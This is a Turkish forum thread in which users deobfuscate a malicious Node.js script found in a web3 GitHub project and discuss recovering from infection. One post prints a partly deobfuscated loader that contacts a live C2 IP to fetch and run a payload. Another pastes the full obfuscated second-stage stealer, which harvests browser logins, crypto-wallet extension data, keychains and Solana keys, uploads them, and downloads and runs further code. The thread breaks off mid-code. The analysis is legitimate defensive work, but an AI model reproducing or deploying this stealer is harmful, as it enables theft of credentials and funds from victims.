0
Kayıt Ol

Obfusce edilmiş kodu nasıl çözerim?

19

●

1.120

  • 28-10-2024, 00:38:04
    #10
    anilkurtaran
    anilkurtaran
    teknori adlı üyeden alıntı: mesajı görüntüle
    Çok karmaşık bir kod değil, değişken isimleri obfuscate edildiği böyle. Bu kod anlaşılabilir bir kod.

    ...
P = (aD) => ((s1 = aD.slice(1)), Buffer.from(s1, H).toString(I))
...
rq = require(P('YcmVxdWVzdA'))
...
    P bir fonksiyon ve parametre olarak bir string alıyor.
    P('YcmVxdWVzdA')
    P fonksiyonu içinde işlemler yaparak bir sonuç döndürüyor ve aslında kod şuna dönüşüyor. rq = require('request')

    Birkaç satırın örnek çıktısı:

    rq = require("request")
pt = require("path")
ex = require("child_process")["exec"]
zv = require("node:process")
hd = O["homedir"]()
hs = O["hostname"]()
pl = O["platform"]()
uin = O["userInfo"]()
    Tabi ki zaman alıcı bir şey, ama tersine mühendislik dediğimiz şey ile dünyadaki bütün yazılımlar okunabilir ve çalıştırılabilir hale getirilebilir. Tabi ki bazı kodlar öyle karmaşık olur ki çözmesi ve anlamlı hale getirilmesi çok uzun süre alabilir. Eğer senin için gerçekten önemliyse bu kodu kendin tek tek deobfuscate edebilirsin.

    Dosya oluşturma ve silme işlemleri yapıyor.

    Sadece bilgi amaçlı yazıyorum, bu konuda maalesef yardımcı olamam.

    Edit1:

    Virüs olduğunu söylediğin için merakıma yenik düştüm ve inceledim.
    http://216.173.115.200:1244/s/83fe78ac2f79
    Buraya istek atıyor.
    Sen varya kralsın.
  • 28-10-2024, 00:50:18
    #11
    teknori
    teknori
    anilkurtaran adlı üyeden alıntı: mesajı görüntüle
    Sen varya kralsın.
    Eyvallah,
    Ayak üstü kendi bilgisayarıma da bulaştırdım

    Evet bu bir virüsmüş. Bilgisayarımda dosya oluşturdu ve gidip onu çalıştırdı. Belki bilgisayarımdaki tüm dosyaları kendine gönderiyor bilmiyorum. Daha fazla uğraşmayacağım, Githubda bu repository'e girip. "Issue" kısmından küfür edebilirsin
  • 28-10-2024, 00:52:43
    #12
    anilkurtaran
    anilkurtaran
    teknori adlı üyeden alıntı: mesajı görüntüle
    Eyvallah,
    Ayak üstü kendi bilgisayarıma da bulaştırdım

    Evet bu bir virüsmüş. Bilgisayarımda dosya oluşturdu ve gidip onu çalıştırdı. Belki bilgisayarımdaki tüm dosyaları kendine gönderiyor bilmiyorum. Daha fazla uğraşmayacağım, Githubda bu repository'e girip. "Issue" kısmından küfür edebilirsin
    :S Umarım birşey olmamıştır bilgisayarına ya. Peki o indirdiği dosyayı nereye indirdi yani node_modules'e mi yoksa tmp klasörüne mi? Bir de linuxta çalışır mı o indirilen dosya?
  • 28-10-2024, 00:55:52
    #13
    teknori
    teknori
    anilkurtaran adlı üyeden alıntı: mesajı görüntüle
    :S Umarım birşey olmamıştır bilgisayarına ya. Peki o indirdiği dosyayı nereye indirdi yani node_modules'e mi yoksa tmp klasörüne mi? Bir de linuxta çalışır mı o indirilen dosya?
    Linux'da çalışıyorum zaten ve evet çalıştı. Tavsiyem hiç çalıştırmaman. Kodu durdurduğuma inanıyorum ama müsait zamanda incelemeden neleri çaldığından emin olamayacağım.
  • 28-10-2024, 00:59:52
    #14
    anilkurtaran
    anilkurtaran
    teknori adlı üyeden alıntı: mesajı görüntüle
    Linux'da çalışıyorum zaten ve evet çalıştı. Tavsiyem hiç çalıştırmaman. Kodu durdurduğuma inanıyorum ama müsait zamanda incelemeden neleri çaldığından emin olamayacağım.
    Projeyi diğer arkadaş çalıştırmış bilgisayarında, benim web3 tarafıyla pek işim olmuyor. Muhtemelen onun da bilgisayarı hacklendi. Peki format atması gerekir mi sence? Sadece dosyaları alıp gittiyse sıkıntı olmaz da keylogger yada virüs falan filan yerleştirmiş olabilir mi? Root olmadan çalıştırmış ayrıca.
  • 28-10-2024, 01:03:13
    #15
    teknori
    teknori
    anilkurtaran adlı üyeden alıntı: mesajı görüntüle
    Projeyi diğer arkadaş çalıştırmış bilgisayarında, benim web3 tarafıyla pek işim olmuyor. Muhtemelen onun da bilgisayarı hacklendi. Peki format atması gerekir mi sence? Sadece dosyaları alıp gittiyse sıkıntı olmaz da keylogger yada virüs falan filan yerleştirmiş olabilir mi? Root olmadan çalıştırmış ayrıca.
    Kodun ne yaptığını bilmediğimiz için maalesef ki bir şey diyemiyorum. Kendi bilgisayarımda çalıştırmış olsam o kodu tek tek inceler neler yaptığını öğrenirdim. Tavsiyem önemli dosayaları yedekleyip format atması. Hatta mümkünse internet bağlantısını kessin ve öyle yedeklerini alıp format atsın. Eğer arkada çalışan bir virüs koymuşsa en azından daha fazla veri göndermemiş olur.
  • 28-10-2024, 13:21:53
    #16
    vicdum
    vicdum
    teknori adlı üyeden alıntı: mesajı görüntüle
    Çok karmaşık bir kod değil, değişken isimleri obfuscate edildiği böyle. Bu kod anlaşılabilir bir kod.

    ...
P = (aD) => ((s1 = aD.slice(1)), Buffer.from(s1, H).toString(I))
...
rq = require(P('YcmVxdWVzdA'))
...
    P bir fonksiyon ve parametre olarak bir string alıyor.
    P('YcmVxdWVzdA')
    P fonksiyonu içinde işlemler yaparak bir sonuç döndürüyor ve aslında kod şuna dönüşüyor. rq = require('request')

    Birkaç satırın örnek çıktısı:

    rq = require("request")
pt = require("path")
ex = require("child_process")["exec"]
zv = require("node:process")
hd = O["homedir"]()
hs = O["hostname"]()
pl = O["platform"]()
uin = O["userInfo"]()
    Tabi ki zaman alıcı bir şey, ama tersine mühendislik dediğimiz şey ile dünyadaki bütün yazılımlar okunabilir ve çalıştırılabilir hale getirilebilir. Tabi ki bazı kodlar öyle karmaşık olur ki çözmesi ve anlamlı hale getirilmesi çok uzun süre alabilir. Eğer senin için gerçekten önemliyse bu kodu kendin tek tek deobfuscate edebilirsin.

    Dosya oluşturma ve silme işlemleri yapıyor.

    Sadece bilgi amaçlı yazıyorum, bu konuda maalesef yardımcı olamam.

    Edit1:

    Virüs olduğunu söylediğin için merakıma yenik düştüm ve inceledim.
    http://216.173.115.200:1244/s/83fe78ac2f79
    Buraya istek atıyor. Hangi verileri gönderiyor vs bilmiyorum. Kullananları tespit etmek amacıyla vs olabilir veya verileri kendine göndermek.
    Kodu inceledim buradaki linkte şifrelenmiş olarak farklı bir ip adresi bulunuyor (147.124.197.149). Şifrelenmiş kod yalnızca bir aracı, farklı bir projeyi indiriyor, kuruyor ve çalıştırıyor. İki sunucu da kapalı olduğu için test.js dosyasına erişip inceleyemedim. Bu dosyayı silmemiş birisi varsa ve bana ulaştırırsa o dosyayı da incelemek isterim.

    Meraklısına;
    (Kod zararlıdır, harici bir dosya indirerek çalıştırıyor. Çalıştırma fonksiyonu devre dışı bırakıldı. Çalıştırmanız kesinlikle tavsiye edilmez.)

    const fs = require("fs");
const os = require("os");

request = require("request");
path = require("path");
exec = require("child_process").exec;
process = require("node:process");

let Q;
var a4 = "";


const ae = () => {
  console.log("ae")
  let aG = "/.vscode";
  try {
    aH = "/.vscode";
    fs.mkdirSync("/.vscode", {
      "recursive": true
    });
  } catch (aK) {
    aG = os.homedir();
  }
  try {
    ! function(aL) {
      K.rmSync(aL);
    }(path.join(os.homedir(), "test.js"));
  } catch (aL) {}
  request.get("/j/", (aM, aN, aO) => {
    if (!aM) {
      try {
        K.writeFileSync(path.join(os.homedir(), "test.js"), aO);
      } catch (aP) {}
      ai(os.homedir());
    }
  });
};

const ai = home => {
  console.log("ai")
  if (fs.existsSync(path.join(home, "package.json"))) {
    am(home);
  } else {
    request.get("/p", (aI, aJ, aK) => {
      if (!aI) {
        try {
          K.writeFileSync(path.join(home, "package.json"), aK);
        } catch (aL) {}
        am(home);
      }
    });
  }
};

const am = home => {
  console.log("am")
  try {
    if (fs.existsSync(path.join(home, "node_modules"))) {
      ar(home);
    } else {
      //exec("cd \"" + home + "\" && npm i --silent", (aG, aH, aI) => {
        aq(home);
      //});
    }
  } catch (aG) {}
};

const aq = home => {
  console.log("aq")
  try {
    if (fs.existsSync(path.join(home, "node_modules"))) {
      ar(home);
    } else {
      //exec("npm --prefix \"" + home + "\" install", (aG, aH, aI) => {
        ar(home);
      //});
    }
  } catch (aG) {}
};

const ar = home => {
  console.log("ar")
  try {
    //exec("node " + path.join(home, "test.js"), (aG, aH, aI) => {});
  } catch (aG) {}
};

const aw = async aD => {
  console.log("aw")
  request.get("http://216.173.115.200:1244/s/83fe78ac2f79", (aH, aI, aJ) => {
    if (aH) {
      if (aD < 1) {
        aw(1);
      }
    } else if ((aK => {
        if (0 == aK.search("ZT3")) {
          let aL = "";
          try {
            for (let aM = 3; aM < aK.length; aM++) {
              aL += aK[aM];
            }
            arr = Buffer.from(aL, "base64").toString("utf8");
            arr = arr.split(",");
            a3 = "http://" + arr[0] + ":1244";
            a4 = arr[1];
          } catch (aN) {
            return 0;
          }
          return 1;
        }
        return 0;
      })(aJ) > 0) {
      ax();
      az();
    }
  });
};

const ax = async () => {
  console.log("ax")
  if ("d" == os.platform()[0]) {
    av = os.hostname() + "+" + os.userInfo().username;
  }
  let aD = "3E1";
  try {
    aD += process.argv[1];
  } catch (aE) {}
  ay("oqr", aD);
};

const ay = async (aD, aE) => {
  console.log("ay")
  const aF = {
    "ts": Q,
    "type": a4,
    "hid": "cmp",
    "ss": aD,
    "cc": aE
  };
  const aG = {
    "url": "/keys",
    "formData": aF
  };
  try {
    request.post(aG, (aH, aI, aJ) => {});
  } catch (aH) {}
};

const az = async () => await new Promise((aD, aE) => {
  console.log("az")
  ae();
});
var aA = 0;
const aB = async () => {
  console.log("ab")
  try {
    Q = Date.now().toString();
    await aw(0);
  } catch (aD) {}
};
aB();
let aC = setInterval(() => {
  console.log("ac")
  if ((aA += 1) < 3) {
    aB();
  } else {
    clearInterval(aC);
  }
}, 600000);
  • 28-10-2024, 16:11:07
    #17
    anilkurtaran
    anilkurtaran
    @vicdum; sunucu kapalı olduğuna göre enfekte olmuş olan bilgisayarlar güvendedir diyebilir miyiz? Yada güvende olup olmadığımızı nasıl anlarız linux makinada?

    @vicdum; testjs dosyasının içeriği:

    const as=a3;(function(a4,a5){const ap=a3,a6=a4();while(!![]){try{const a7=-parseInt(ap(0x19a))/0x1+-parseInt(ap(0x178))/0x2*(parseInt(ap(0x13b))/0x3)+parseInt(ap(0x181))/0x4*(-parseInt(ap(0x17d))/0x5)+parseInt(ap(0x147))/0x6+parseInt(ap(0x15c))/0x7*(parseInt(ap(0x183))/0x8)+parseInt(ap(0x1a3))/0x9*(-parseInt(ap(0x176))/0xa)+-parseInt(ap(0x161))/0xb*(-parseInt(ap(0x134))/0xc);if(a7===a5)break;else a6['push'](a6['shift']());}catch(a8){a6['push'](a6['shift']());}}}(a2,0xe8560));const a1=(function(){let a4=!![];return function(a5,a6){const a7=a4?function(){const aq=a3;if(a6){const a8=a6[aq(0x193)](a5,arguments);return a6=null,a8;}}:function(){};return a4=![],a7;};}()),a0=a1(this,function(){const ar=a3;return a0[ar(0x19d)]()['search']('(((.+)+)+)+$')[ar(0x19d)]()[ar(0x140)](a0)[ar(0x148)](ar(0x144));});a0();const t=as(0x132),c=as(0x17c),a=require('fs'),$=require('os'),r=a4=>(s1=a4[as(0x1a2)](0x1),Buffer['from'](s1,t)[as(0x19d)](c));rq=require(r(as(0x18e))),pt=require(r(as(0x169))),ex=require(r('aY2hpbGRfcHJvY2Vzcw'))[r(as(0x157))],hd=$[r(as(0x19e))](),hs=$[r('caG9zdG5hbWU')](),pl=$[r(as(0x133))](),uin=$[r(as(0x18b))](),td=$[r(as(0x154))]();let l;const n=a4=>Buffer[as(0x188)](a4,t)[as(0x19d)](c),h=()=>{const au=as;let a4=au(0x14c);for(var a5='',a6='',a7='',a8='',a9=0x0;a9<0xa;a9++)a5+=a4[a9],a6+=a4[0xa+a9],a7+=a4[0x14+a9],a8+=a4[0x1e+a9];return a5=a5+a7+a8,n(a6)+n(a5);},s=a4=>a4[as(0x159)](/^~([a-z]+|\/)/,(a5,a6)=>'/'===a6?hd:pt[n(as(0x19c))](hd)+'/'+a6),e=as(0x16a),Z=as(0x19b),o=as(0x19f),u=as(0x198),b='L2NsaWVudA',G=as(0x130),i=as(0x146);function y(a4){const av=as,a5=n(av(0x177));try{return a[a5](a4),!0x0;}catch(a6){return!0x1;}}const m=n(as(0x15d));function d(a4){return a[m](a4);}function p(a4){const aw=as;return scrs=n(aw(0x194)),a[scrs](a4);}const W=as(0x164),Y=as(0x141),f=n('RGVmYXVsdA'),w=n(as(0x186)),V=r(as(0x152)),v=r('cZm9ybURhdGE'),j=r('adXJs'),L=r(as(0x1a9)),R=r(as(0x170)),N=n(as(0x13a)),z=n(as(0x143)),F=n('cG9zdA'),X=as(0x1a7),k=as(0x135),x=as(0x15a),U=as(0x1a1),_=as(0x16b),B='R29vZ2xlL0Nocm9tZQ',g=as(0x15f),q=[as(0x187)+_,_,_],J=[as(0x18d),as(0x191),as(0x17a)],Q=['TG9jYWwv'+B,B,g];let T=as(0x153);const H=a4=>{const ax=as,a5=r(ax(0x179)),a6=r(ax(0x172)),a7=n(ax(0x16f)),a8={[a6]:l['toString'](),'type':e,'hid':T,[a5]:a4},a9=h();try{let aa={[j]:''+a9+a7,[v]:a8};rq[F](aa,(ab,ac,ad)=>{});}catch(ab){}},A=[as(0x15e),'aGVjZGFsbWVlZWFqbmltaG0',as(0x1a8),as(0x13d),as(0x18c),as(0x14e),as(0x137),as(0x14d),as(0x180),'amZob21paGtqYm1namlkbGNkbm8',as(0x1a0),as(0x138)],E=[as(0x156),as(0x168),as(0x12f),as(0x182),'aG5mYW5rbm9jZmVvZmJk',as(0x196),as(0x166),'ZWdqaWRqYnBnbGlj','aGlmYWZnbWNjZHBl','YWhvbHBmZGlhbGpn','bWNvaGlsbmNiZmFo',as(0x1a4)],C=async(a4,a5,a6)=>{const ay=as;let a7=a4;if(!a7||''===a7)return[];try{if(!y(a7))return[];}catch(ac){return[];}a5||(a5='');let a8=[];const a9=n(ay(0x16d)),aa=n(ay(0x14a)),ab=n(ay(0x142));for(let ad=0x0;ad<0xc8;ad++){const ae=0x0===ad?f:w+' '+ad,af=a4+'/'+ae+'/'+a9;for(let ah=0x0;ah<E['length'];ah++){const ai=n(E[ah]+A[ah]);let aj=af+'/'+ai;if(y(aj)){try{far=a[N](aj);}catch(ak){far=[];}far['forEach'](async al=>{const az=ay;a7=pt[az(0x155)](aj,al);try{a8['push']({[L]:{[V]:''+a5+ad+'_'+ai+'_'+al},[R]:p(a7)});}catch(am){}});}}const ag=a4+'/'+ae+'/'+aa+'/'+ab;if(y(ag)){try{far=a[N](ag);}catch(al){far=[];}far['forEach'](async am=>{const aA=ay;a7=pt[aA(0x155)](ag,am);try{a8[aA(0x160)]({[L]:{[V]:''+a5+ad+'_'+ab+'_'+am},[R]:p(a7)});}catch(an){}});}}if(a6){const am=n(ay(0x185));if(a7=''+hd+n(ay(0x199)),d(a7))try{a8[ay(0x160)]({[R]:p(a7),[L]:{[V]:am}});}catch(an){}}return H(a8),a8;},M=async()=>{const aB=as;T=hs,'d'==pl[0x0]&&(T=T+'+'+uin[n(aB(0x184))]);try{const a4=s('~/');await S(Q,0x0),await S(q,0x1),await S(J,0x2),'w'==pl[0x0]?(pa=''+a4+n(k)+n(aB(0x150))+n(x),await C(pa,'3_',!0x1)):'l'==pl[0x0]?(await P(),await ot(),await rt()):'d'==pl[0x0]&&(await((async()=>{const aC=aB;let a5=[];const a6=n(W),a7=n(aC(0x17b)),a8=n(aC(0x195));if(pa=''+hd+a7,d(pa))try{a5[aC(0x160)]({[R]:p(pa),[L]:{[V]:a8}});}catch(a9){}else{if(pa+=aC(0x145),d(pa))try{a5['push']({[R]:p(pa),[L]:{[V]:a8}});}catch(aa){}}try{const ab=n(Y);let ac='';if(ac=''+hd+n(U)+n(B),ac&&''!==ac&&y(ac))for(let ad=0x0;ad<0xc8;ad++){const ae=ac+'/'+(0x0===ad?f:w+' '+ad)+'/'+a6;try{if(!y(ae))continue;const af=ac+aC(0x15b)+ad;y(af)?a5[aC(0x160)]({[R]:p(af),[L]:{[V]:aC(0x190)+ad}}):a[ab](ae,af,ag=>{const aD=aC;let ah=[{[R]:p(ae),[L]:{[V]:aD(0x190)+ad}}];H(ah);});}catch(ag){}}}catch(ah){}return H(a5),a5;})()),await D(),await lt()),await I(K,n(ct)),await I(tt,n(at));}catch(a5){}},S=async(a4,a5)=>{try{const a6=s('~/');let a7='';a7='d'==pl[0x0]?''+a6+n(U)+n(a4[0x1]):'l'==pl[0x0]?''+a6+n(X)+n(a4[0x2]):''+a6+n(k)+n(a4[0x0])+n(x),await C(a7,a5+'_',0x0==a5);}catch(a8){}},I=async(a4,a5)=>{try{const a6=s('~/');let a7='';a7='d'==pl[0x0]?''+a6+n(U)+n(a4):'l'==pl[0x0]?''+a6+n(X)+n(a4):''+a6+n(k)+n(O)+n(a4),await $t(a7,a5);}catch(a8){}},D=async()=>{const aE=as;let a4=[];const a5=n(W);try{const a6=n(Y);let a7='';if(a7=''+hd+n(U)+n(_),!a7||''===a7||!y(a7))return[];let a8=0x0;for(;a8<0xc8;){const a9=a7+'/'+(0x0!==a8?w+' '+a8:f)+'/'+a5;try{if(y(a9)){const aa=a7+aE(0x1a5)+a8;y(aa)?a4['push']({[R]:p(aa),[L]:{[V]:aE(0x165)+a8}}):a[a6](a9,aa,ab=>{const aF=aE;let ac=[{[R]:p(a9),[L]:{[V]:aF(0x165)+a8}}];H(ac);});}}catch(ab){}a8++;}}catch(ac){}return H(a4),a4;},P=async()=>{const aG=as;let a4=[];try{const a5=n('Ly5sb2NhbC9zaGFyZS9rZXlyaW5ncy8');let a6='';a6=''+hd+a5;let a7=[];if(a6&&''!==a6&&y(a6))try{a7=a[N](a6);}catch(a8){a7=[];}a7[aG(0x162)](async a9=>{const aH=aG;pa=pt[aH(0x155)](a6,a9);try{ldb_data['push']({[R]:p(pa),[L]:{[V]:''+a9}});}catch(aa){}});}catch(a9){}return H(a4),a4;},O=as(0x17e),K=as(0x131),tt=as(0x174),ct=as(0x163),at=as(0x151),$t=async(a4,a5)=>{let a6=[];if(!a4||''===a4)return[];try{if(!y(a4))return[];}catch(a7){return[];}a5||(a5='');try{far=a[N](a4),far['forEach'](async a8=>{const aI=a3;let a9=pt['join'](a4,a8);try{a6[aI(0x160)]({[L]:{[V]:a5+'_'+a8},[R]:p(a9)});}catch(aa){}});}catch(a8){}return H(a6),a6;},rt=async()=>{const aJ=as;let a4=[];const a5=n(aJ(0x18a)),a6=n(aJ(0x158)),a7=n('bG9naW5zLmpzb24');try{let a8='';if(a8=''+hd+n(aJ(0x173)),a8&&''!==a8&&y(a8))for(let a9=0x0;a9<0xc8;a9++){const aa=0x0===a9?f:w+' '+a9;try{const ab=a8+'/'+aa+'/'+a5;y(ab)&&a4[aJ(0x160)]({[R]:p(ab),[L]:{[V]:aJ(0x192)+a9}});}catch(ac){}try{const ad=a8+'/'+aa+'/'+a6;y(ad)&&a4['push']({[R]:p(ad),[L]:{[V]:'flk3_'+a9}});}catch(ae){}try{const af=a8+'/'+aa+'/'+a7;y(af)&&a4[aJ(0x160)]({[R]:p(af),[L]:{[V]:aJ(0x1a6)+a9}});}catch(ag){}}}catch(ah){}return H(a4),a4;},lt=async()=>{const aK=as;let a4=[];const a5=n('a2V5NC5kYg'),a6=n(aK(0x158)),a7=n(aK(0x14f));try{let a8='';if(a8=''+hd+n(U)+n(aK(0x17f)),a8&&''!==a8&&y(a8))for(let a9=0x0;a9<0xc8;a9++){const aa=0x0===a9?f:w+' '+a9;try{const ab=a8+'/'+aa+'/'+a5;y(ab)&&a4[aK(0x160)]({[R]:p(ab),[L]:{[V]:'fk4_'+a9}});}catch(ac){}try{const ad=a8+'/'+aa+'/'+a6;y(ad)&&a4[aK(0x160)]({[R]:p(ad),[L]:{[V]:'fk3_'+a9}});}catch(ae){}try{const af=a8+'/'+aa+'/'+a7;y(af)&&a4[aK(0x160)]({[R]:p(af),[L]:{[V]:aK(0x13c)+a9}});}catch(ag){}}}catch(ah){}return H(a4),a4;};function nt(a4){const aL=as,a5=n(aL(0x197));a[a5](a4);}const ht=0x3117870;let st=0x0;const et=async a4=>{const aM=as,a5=n(aM(0x189))+' '+a4+aM(0x149)+hd;ex(a5,(a6,a7,a8)=>{if(a6)return nt(a4),void(st=0x0);nt(a4),ut();});},Zt=()=>{const aN=as;if(st>=ht+0x4)return;const a4=n(aN(0x171)),a5=h(),a6=td+'\x5c'+n(aN(0x167)),a7=td+'\x5c'+a4,a8=''+a5+n('L3Bkb3du'),a9=n(aN(0x18f)),aa=n(aN(0x16c));if(d(a6))try{var ab=a[z](a6);ab['size']>=ht+0x4?(st=ab['size'],a[aa](a6,a7,ac=>{if(ac)throw ac;et(a7);})):(st>=ab[aN(0x139)]?(nt(a6),st=0x0):st=ab[aN(0x139)],bt());}catch(ac){}else{const ad=n(aN(0x13e))+' \x22'+a6+'\x22 \x22'+a8+'\x22';ex(ad,(ae,af,ag)=>{if(ae)return st=0x0,void bt();try{st=ht+0x4,a[a9](a6,a7),et(a7);}catch(ah){}});}},ot=async()=>{const aO=as;let a4=[];const a5=n(W);try{const a6=n(Y);let a7='';if(a7=''+hd+n(X)+n(g),!a7||''===a7||!y(a7))return[];for(let a8=0x0;a8<0xc8;a8++){const a9=a7+'/'+(0x0===a8?f:w+' '+a8)+'/'+a5;try{if(!y(a9))continue;const aa=a7+'/ld_'+a8;y(aa)?a4[aO(0x160)]({[R]:p(aa),[L]:{[V]:aO(0x13f)+a8}}):a[a6](a9,aa,ab=>{const aP=aO;let ac=[{[R]:p(a9),[L]:{[V]:aP(0x13f)+a8}}];H(ac);});}catch(ab){}}}catch(ac){}return H(a4),a4;},ut=async()=>await new Promise((a4,a5)=>{if('w'!=pl[0x0])((()=>{const aQ=a3,a6=h(),a7=n(b),a8=n(u),a9=n(Z),aa=n(o),ab=n(aQ(0x136)),ac=''+a6+a7+'/'+e,ad=''+hd+aa;let ae=ab+aQ(0x14b)+ad+'\x22',af=ab+' \x22'+ad+'\x22';rq[a9](ac,(ag,ah,ai)=>{ag||(a[a8](ad,ai),ex(ae,(aj,ak,al)=>{aj&&ex(af,(am,an,ao)=>{});}));});})());else d(''+(''+hd+n(G+i)))?((()=>{const aR=a3,a6=h(),a7=n(b),a8=n(Z),a9=n(u),aa=n(o),ab=''+a6+a7+'/'+e,ac=''+hd+aa,ad='\x22'+hd+n(G+i)+aR(0x16e)+ac+'\x22';try{nt(ac);}catch(ae){}rq[a8](ab,(af,ag,ah)=>{if(!af)try{a[a9](ac,ah),ex(ad,(ai,aj,ak)=>{});}catch(ai){}});})()):Zt();});function bt(){setTimeout(()=>{Zt();},0x4e20);}function a3(a,b){const c=a2();return a3=function(d,e){d=d-0x12f;let f=c[d];return f;},a3(a,b);}var Gt=0x0;function a2(){const aT=['Ym1nZGprYnBlbWNjaWlvbGdjZ2U','L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC8','slice','60921cQwjJt','cGRsaWFvZ2VoZ2Ri','/brld_','fllj_','Ly5jb25maWcv','cGVia2xtbmtvZW9paG9mZWM','Zb3B0aW9ucw','aWJuZWpkZmptbWtwY25s','XC5weXBccHl0','RXhvZHVzL2V4b2R1cy53YWxsZXQ','base64','YcGxhdGZvcm0','36992244ebQrDB','L0FwcERhdGEv','cHl0aG9u','ZXBjY2lvbmJvb2hja29ub2VlbWc','aGJubWtrbGllZ2htbWprcGlncGE','size','cmVhZGRpclN5bmM','2553063MhIcML','flj_','YmJsZGNuZ2NuYXBuZG9kanA','Y3VybCAtTG8','plld_','constructor','Y29weUZpbGU','YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWk','c3RhdFN5bmM','(((.+)+)+)+$','-db','aG9uLmV4ZQ','9092466JeZooT','search',' -C ','U3luYyBFeHRlbnNpb24gU2V0dGluZ3M','3 \x22','MTQ3LjEyNCaHR0cDovLw4xOTcuMTQ5OjEyNDQ=  ','aGRjb25kYmNiZG5iZWVwcGdkcGg','bWdqbmpvcGhocGtrb2xqcGE','bG9naW5zLmpzb24','TG9jYWwvTWljcm9zb2Z0L0VkZ2U','YXRtYw','aZmlsZW5hbWU','comp','cdG1wZGly','join','bmtiaWhmYmVvZ2FlYW9l','cZXhlYw','a2V5My5kYg','replace','L1VzZXIgRGF0YQ','/ld_','2632eajEFk','ZXhpc3RzU3luYw','aGxlZm5rb2RiZWZncGdrbm4','Z29vZ2xlLWNocm9tZQ','push','11yNhCrJ','forEach','ZXhvZA','TG9naW4gRGF0YQ','brld_','YWVhY2hrbm1lZnBo','cC56aQ','ZWpiYWxiYWtvcGxjaGxn','zcGF0aA','default','QnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy','cmVuYW1l','TG9jYWwgRXh0ZW5zaW9uIFNldHRpbmdz','\x22 \x22','L3VwbG9hZHM','YdmFsdWU','cDIuemlw','ZdGltZXN0YW1w','Ly5tb3ppbGxhL2ZpcmVmb3gv','YXRvbWljL0xvY2FsIFN0b3JhZ2UvbGV2ZWxkYg','now','2680CBWdcu','YWNjZXNzU3luYw','2EGpouh','YbXVsdGlfZmlsZQ','b3BlcmE','L0xpYnJhcnkvS2V5Y2hhaW5zL2xvZ2luLmtleWNoYWlu','utf8','5LOYpIO','Um9hbWluZy9','RmlyZWZveA','a3Bsb21qamtjZmdvZG5oY2VsbGo','2890252nIWSFJ','Zmhib2hpbWFlbGJvaHBq','5048GrPTqX','dXNlcm5hbWU','c29sYW5hX2lkLnR4dA','UHJvZmlsZQ','TG9jYWwv','from','dGFyIC14Zg','a2V5NC5kYg','AdXNlckluZm8','ZGdjaWpubWhuZm5rZG5hYWQ','Um9hbWluZy9PcGVyYSBTb2Z0d2FyZS9PcGVyYSBTdGFibGU','YcmVxdWVzdA','cmVuYW1lU3luYw','pld_','Y29tLm9wZXJhc29mdHdhcmUuT3BlcmE','flk4_','apply','Y3JlYXRlUmVhZFN0cmVhbQ','bG9na2MtZGI','YmZuYWVsbW9tZWltaGxw','cm1TeW5j','d3JpdGVGaWxlU3luYw','Ly5jb25maWcvc29sYW5hL2lkLmpzb24','496030TFRoBJ','Z2V0','ZGlybmFtZQ','toString','ZaG9tZWRpcg','Ly5ucGw'];a2=function(){return aT;};return a2();}const it=async()=>{const aS=as;try{l=Date[aS(0x175)](),await M(),ut();}catch(a4){}};it();let yt=setInterval(()=>{(Gt+=0x1)<0x4?it():clearInterval(yt);},0x927c0);
  • 28-10-2024, 16:55:44
    #18
    vicdum
    vicdum
    anilkurtaran adlı üyeden alıntı: mesajı görüntüle
    @vicdum; sunucu kapalı olduğuna göre enfekte olmuş olan bilgisayarlar güvendedir diyebilir miyiz? Yada güvende olup olmadığımızı nasıl anlarız linux makinada?

    @vicdum; testjs dosyasının içeriği:

    const as=a3;(function(a4,a5){const ap=a3,a6=a4();while(!![]){try{const a7=-parseInt(ap(0x19a))/0x1+-parseInt(ap(0x178))/0x2*(parseInt(ap(0x13b))/0x3)+parseInt(ap(0x181))/0x4*(-parseInt(ap(0x17d))/0x5)+parseInt(ap(0x147))/0x6+parseInt(ap(0x15c))/0x7*(parseInt(ap(0x183))/0x8)+parseInt(ap(0x1a3))/0x9*(-parseInt(ap(0x176))/0xa)+-parseInt(ap(0x161))/0xb*(-parseInt(ap(0x134))/0xc);if(a7===a5)break;else a6['push'](a6['shift']());}catch(a8){a6['push'](a6['shift']());}}}(a2,0xe8560));const a1=(function(){let a4=!![];return function(a5,a6){const a7=a4?function(){const aq=a3;if(a6){const a8=a6[aq(0x193)](a5,arguments);return a6=null,a8;}}:function(){};return a4=![],a7;};}()),a0=a1(this,function(){const ar=a3;return a0[ar(0x19d)]()['search']('(((.+)+)+)+$')[ar(0x19d)]()[ar(0x140)](a0)[ar(0x148)](ar(0x144));});a0();const t=as(0x132),c=as(0x17c),a=require('fs'),$=require('os'),r=a4=>(s1=a4[as(0x1a2)](0x1),Buffer['from'](s1,t)[as(0x19d)](c));rq=require(r(as(0x18e))),pt=require(r(as(0x169))),ex=require(r('aY2hpbGRfcHJvY2Vzcw'))[r(as(0x157))],hd=$[r(as(0x19e))](),hs=$[r('caG9zdG5hbWU')](),pl=$[r(as(0x133))](),uin=$[r(as(0x18b))](),td=$[r(as(0x154))]();let l;const n=a4=>Buffer[as(0x188)](a4,t)[as(0x19d)](c),h=()=>{const au=as;let a4=au(0x14c);for(var a5='',a6='',a7='',a8='',a9=0x0;a9<0xa;a9++)a5+=a4[a9],a6+=a4[0xa+a9],a7+=a4[0x14+a9],a8+=a4[0x1e+a9];return a5=a5+a7+a8,n(a6)+n(a5);},s=a4=>a4[as(0x159)](/^~([a-z]+|\/)/,(a5,a6)=>'/'===a6?hd:pt[n(as(0x19c))](hd)+'/'+a6),e=as(0x16a),Z=as(0x19b),o=as(0x19f),u=as(0x198),b='L2NsaWVudA',G=as(0x130),i=as(0x146);function y(a4){const av=as,a5=n(av(0x177));try{return a[a5](a4),!0x0;}catch(a6){return!0x1;}}const m=n(as(0x15d));function d(a4){return a[m](a4);}function p(a4){const aw=as;return scrs=n(aw(0x194)),a[scrs](a4);}const W=as(0x164),Y=as(0x141),f=n('RGVmYXVsdA'),w=n(as(0x186)),V=r(as(0x152)),v=r('cZm9ybURhdGE'),j=r('adXJs'),L=r(as(0x1a9)),R=r(as(0x170)),N=n(as(0x13a)),z=n(as(0x143)),F=n('cG9zdA'),X=as(0x1a7),k=as(0x135),x=as(0x15a),U=as(0x1a1),_=as(0x16b),B='R29vZ2xlL0Nocm9tZQ',g=as(0x15f),q=[as(0x187)+_,_,_],J=[as(0x18d),as(0x191),as(0x17a)],Q=['TG9jYWwv'+B,B,g];let T=as(0x153);const H=a4=>{const 